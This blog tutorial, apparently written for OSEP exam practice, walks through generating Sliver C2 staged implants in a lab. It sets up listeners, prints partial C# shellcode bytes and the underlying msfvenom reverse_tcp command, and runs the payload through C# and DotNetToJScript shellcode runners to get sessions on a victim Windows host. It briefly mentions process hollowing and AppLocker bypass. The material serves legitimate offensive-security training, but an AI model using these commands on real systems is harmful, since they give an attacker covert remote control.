Sliver C2 - Staged Implants

How to use staged implants in the open source C2 framework Sliver. I draw comparisons to metasploit/msfvenom for those unfamiliar with sliver to better understand.

Sliver C2 - Staged Implants

Sliver is an open source Command and Control (C2) Implant framework written in Golang originally developed by BishopFox. In this post we're going to go over how to leverage stagers. In my preparations for the OSEP, I learned it was useful to leverage C2s. Some of the courseware references legacy C2s which have been abandoned for years. This post covers some of the lessons I've learned while using Sliver.

There's a lot of good blog posts - like Dominic Breuker's awesome 12 part series on Sliver, Sliver's own website - which has tutorials and solid documentation, and many many more. However, I found a bit of a gap - and some outdated information in researching this scenario, and wanted to share my experience.

Scenario

For those unfamiliar with Sliver - this example will look very similar to getting a meterpreter session in metasploit. Or if you're a level above a script kiddie - putting your msfvenom shellcode into a C# shellcode runner. Afterwards, we'll show how it can be implemented as shellcode within DotNetToJScript.

This post will cover how to use Sliver to leverage stagers to put Sliver implants into your C# code. This example could easily be ported over to other languages as well. Covering areas like AV/EDR evasion are outside the scope of this post. We'll briefly touch on codebases such as DotNetToJScript, and assume you're relatively familiar with it, if not - signing up for PEN-300 is a great way to do so 😄.

Architecture

For the purposes of this post - we'll need to know about two systems:

  • "Attacker" - Kali VM on an Apple M3 - that's not a flex, as you'll soon see - IP Address: 192.168.5.25
  • "Victim" - Windows 10 System - IP Address: 192.168.202.11

I'm also trying to keep the demo simple, so only running sliver-server on the kali system, not dealing with any team member/operators joining and connecting to the system.

Installing Sliver

I was setting up Kali that was on a VM that was arm64. This led to a few rabbit holes (i.e. the default run script not working). Even compiling it myself didn't appear to function properly- like I said earlier, the M3 bit wasn't a flex 😉. It was up and running but it didn't seem to have the full feature set, and when I would generate stagers in shellcode, it would create files but with a filesize of 0.

I had the best luck by installing using the kali repo.

sudo apt install sliver

For the sake of future reference - the sliver version installed is 1.5.42 - kali.


Shellcode Generation Walkthrough

Profile Setup

What's a Profile?

A profile in Sliver is intended to be a blueprint, or the overall syntax for a staging configuration. I don't believe it's required in order to run a stager, but it helps keep you organized, especially if you're running multiple types of stage's.

Wait a second, but what's a Stager?

Yes, we've gone straight into the deep end of Sliver lingo. If you're familiar with metasploit payloads, it's the same thing. It's some code which calls back to a host to fetch the rest of the payload. In metasploit, you'd use stagers to fetch a reverse shell, or meterpreter session as two common examples. In Sliver, it fetches the code used to establish a session in the Sliver server.

Check out the sliver documentation, do some googling, or use your favorite AI (used to be big on ChatGPT, but Perplexity.ai has been impressing me as of late!) to help wrap your head around the other terminology.

Back to our regularly scheduled programming... Set Up the Profile

Lets setup a profile, for a HTTP stager (--http) specifying our Kali system (192.168.5.25) and a random port of our choosing (8999), avoiding obfuscation - for simplicity (--skip-symbols), and setting the output to shellcode so we can use the stager in our C# code. We're naming our profile demo for easy tracking. The port used is for the

Run profiles new -h to see a very useful help page which helps explains all the flags.
[server] sliver > profiles new --http 192.168.5.25:8999 --skip-symbols --format shellcode demo

[*] Saved new implant profile demo

HTTP Listener Setup

Gahhh more lingo - So what's a Listener?

Think of a listener as the equivalent of a metasploit Payload handler. It listens for the stager to call back to it and replies with the rest of the payload necessary to establish a session. We'll setup the listener next, the equivalent of use multi/handler; set LHOST; set LPORT in metasploit. Specifically, setting this value in sliver maps to this step in metasploit:

[*] Meterpreter session 98 opened (192.168.5.25:8999 -> 192.168.202.11:50037) at 2024-10-07 12:18:49 -0700

Going back to sliver, the HTTP listener is the protocol which will be used for the long term communication between the implant and the sliver server. There are listeners for HTTP, HTTPS, mTLS, DNS, and Wireguard (wg).

HTTP Listener Setup

Run the following command, specifying a local IP Address/Interface (-L), and a local port (-l). Since we specified an HTTP stager in our profile, we'll use http as the prefix. The syntax should be identical for any other stager used.

[server] sliver > http -L 192.168.5.25 -l 8999

[*] Starting HTTP :8999 listener ...
[*] Successfully started job #5

Stage Listener Setup

Before you even ask - I gotchu - What's a stage listener?

The stage listener is used solely to deliver the "stage" or initial payload used to establish the implant's connection. Continuing with the metasploit example, this is again the same as setting use multi/handler; set LHOST; set LPORT. Metasploit uses the same port for the stager and the meterpreter session. To distinguish between the two though, setting this value is the equivalent of when you see this running in metasploit:

[*] Started HTTPS reverse handler on https://192.168.5.25:8999

Stage Listener Setup

The command below shows us setting up a TCP stage listener on our Attacker IP Interface listening for port 9999 (tcp://192.168.5.25:9999), and links the listener to the demo profile - aka the HTTP listener we previously established.

[server] sliver > stage-listener --url tcp://192.168.5.25:9999 --profile demo

[*] No builds found for profile demo, generating a new one
[*] Sliver name for profile demo: DISAPPOINTED_BLACKBOARD
[*] Job 6 (tcp) started

Jerbs (aka jobs)

Not a 100% accurate meme, but staying with the South Park theme. It's not a requirement to run this command, but good to know for future reference. You can run the jobs command to see what existing listeners (staged or otherwise) are currently running.

[server] sliver > jobs

 ID   Name   Protocol   Port   Stage Profile
==== ====== ========== ====== =============================================
 5    http   tcp        8999
 6    TCP    tcp        9999   demo (Sliver name: DISAPPOINTED_BLACKBOARD)

Generate Stager

The moment we've all been waiting for! Time to create the shellcode!

Sessions vs Beacon

Keeping with the metasploit theme- a session is the equivalent to a meterpreter shell, or reverse shell. A persistent session that immediately issues and replies with commands and command output. Think - used by penetration testers, or offensive security members who aren't concerned about stealthiness.

Alternatively, a beacon allows for asynchronous communication - periodically checking in with the sliver server for any commands, and providing the output. Unfortunately, I'm not aware of any comparable functionality in metasploit, so no parallel to draw here. Think about beacons being more commonly used by red teamers. We'll use a session

Shellcode Command

To continue with our stager, we'll generate a stager, on the local host and local port we provided for the stage-listener command previously. Set an architecture of amd64, and set the output to csharp and save the file in the temp directory.

[server] sliver > generate stager --lhost 192.168.5.25 --lport 9999 --arch amd64 --format csharp --save /tmp

[*] Sliver implant stager saved to: /tmp/BAD_PURITAN
A Note on Formats - If you run help generate stager or generate stager -h within sliver, you'll see the types of output formats. For sliver 1.5.42, that's: bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript. These output formats map identically to msfvenom.

TA-DA!

If you output the file, which is named in the general syntax of [adjective]_[noun], Its extremely likely your filename will be different. But once you read the file, you'll see the familiar shellcode output! Something similar to:

cat /tmp/BAD_PURITAN
byte[] buf = new byte[511] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x70,0x48,0x8b,0x22,0x18,0x51,0x56,0xd8,
0x8b,0x52,0x21,0x41,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x9c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
< Truncated for Brevity>

Peek Behind the Curtain

To take a peek behind the curtain and see what metasploit is doing look at the Sliver logs, which were located within my user's home directory.

tail -f ~/.sliver/logs/sliver.log
WARN[2024-10-07T15:26:07-07:00] [sliver/server/generate/binaries.go:208] Name cannot be blank!
INFO[2024-10-07T15:26:07-07:00] [sliver/server/rpc/rpc-generate.go:201] Saving new profile with name "demo"
INFO[2024-10-07T15:26:07-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:26:07-07:00] [sliver/server/c2/tcp-stager.go:34] Starting Raw TCP listener on 0.0.0.0:9999
INFO[2024-10-07T15:26:07-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:26:16-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:49:19-07:00] [sliver/server/msf/msf.go:201] msfvenom [--platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread]
INFO[2024-10-07T15:49:21-07:00] [sliver/server/msf/msf.go:208] /usr/bin/msfvenom --platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread
INFO[2024-10-07T15:49:21-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-10-07T15:49:45-07:00] [github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0/logging/logrus/options.go:220] finished unary call with code OK

The noticeable command that stands out is msfvenom command which is run and using the same variables we specified in our generate stager command : /usr/bin/msfvenom --platform windows --arch x64 --format csharp --payload windows/x64/meterpreter/reverse_tcp LHOST=192.168.5.25 LPORT=9999 EXITFUNC=thread .

Refresher

So we now have the shellcode we can use to put inside our exploit. We first setup a profile for the implant we wanted. We setup a few listeners - a stage listener to serve up the payload of the implant, and HTTP listener to listen for the implant callbacks.

Next up, we'll show a few examples of how to use the shellcode.

(Shellcode) Runnin, Runnin, Runnin...

Just to save some time, and a lot of keystroke on my end - I'm going to assume anyone reading up to this point is familiar with shellcode runners. Using the metasploit example - this is leveraging that msfvenom --format csharp output.

We'll cover two examples here - both which use the shellcode created in the previous steps to establish sessions. Both are fairly common - a C# shellcode runner, and JScript Shellcode runner. Unfortunately, at the time of this posting, I don't have any code in my Github repos for this section, but thankfully tons of other people on the internet do 😀. DYOR, make sure you understand the code you're running, etc. etc.

C# Shellcode Runner

Code Modification

A quick google search could bring up some C# shellcode runner code. I've never used the code in that link, but its similar to what I used. Discussing the Windows Sysinternals of how the shellcode is being run is outside the scope of this blog. If you'd like to understand more, I'd recommend signing up for PEN-300.

Using that example shellcode runner, copy the shellcode from the sliver stager output BAD_PURITAN ). Make sure to change the default buf to the appropriate variable. You can use sed to do the work for you - sed 's/buf/x64shellcode/g' /tmp/BAD_PURITAN ). Then build your solution. The output should be a windows executable (.exe).

Run the Executable

Copy the executable over to the target system, and launch the executable.

C:\Users\student>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.202.11
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.202.254

C:\Users\student>sliverrev.exe

Then check back within sliver. A notification should appear similar to below. Remember that DISAPPOINTED_BLACKBOARD was the auto generated name of our stage-listener output. Sliver also provides a random string value for the specific session (c2bab9de), we'll use that in a bit.:

[*] Session c2bab9de DISAPPOINTED_BLACKBOARD - 192.168.202.11:51027 (victim) - windows/amd64 - Mon, 07 Oct 2024 17:02:41 PDT

Interact with the session to validate the host info.

[server] sliver > sessions -i c2bab

[*] Active session DISAPPOINTED_BLACKBOARD (c2bab9de)

[server] sliver (DISAPPOINTED_BLACKBOARD) > ifconfig

+-------------------------------------------+
| Ethernet0                                 |
+-------------------------------------------+
| # | IP Addresses      | MAC Address       |
+---+-------------------+-------------------+
| 7 | 192.168.202.11/24 | 00:50:56:bf:4b:51 |
+-------------------------------------------+
1 adapters not shown.

JScript

Assuming you're familiar with DotNetToJscript, you may have to do some additional research in figuring out how to populate the ExampleAssembly project - specifically the TestClass.cs file - unfortunately that's outside the scope of this post. Make sure to use your shellcode from sliver. Build the solution, including the DotNetToJScript.exe, and the NDesk.Options.dll .

Build JScript Code

Copy the DotNetToJScript.exe, NDesk.Options.dll and the TestClass.dll to the same directory and run:

DotNetToJScript.exe ExampleAssembly512.dll -c TestClass --lang=Jscript -ver=v4 -o slivrunner.js

The -ver=v4 specifies .NET version 4.0, and Jscript output (--lang=Jscript). You should then be able to double click on the slivrunner.js file. Going back to sliver, we'll see a connection.

[*] Session b5fd96eb DISAPPOINTED_BLACKBOARD - 192.168.202.12:51403 (Development) - windows/amd64 - Mon, 07 Oct 2024 17:28:22 PDT

Conclusion

From here - you can upgrade the shellcode runner or Jscript, but that's not specific to creating Sliver staged implants. These are two very basic examples. Given that you're building the C# - you now go wild and process hollow, process migrate, bypass AppLocker by using the Jscript code with mshta.exe, use the Compiler.exe for C# bypass, and more.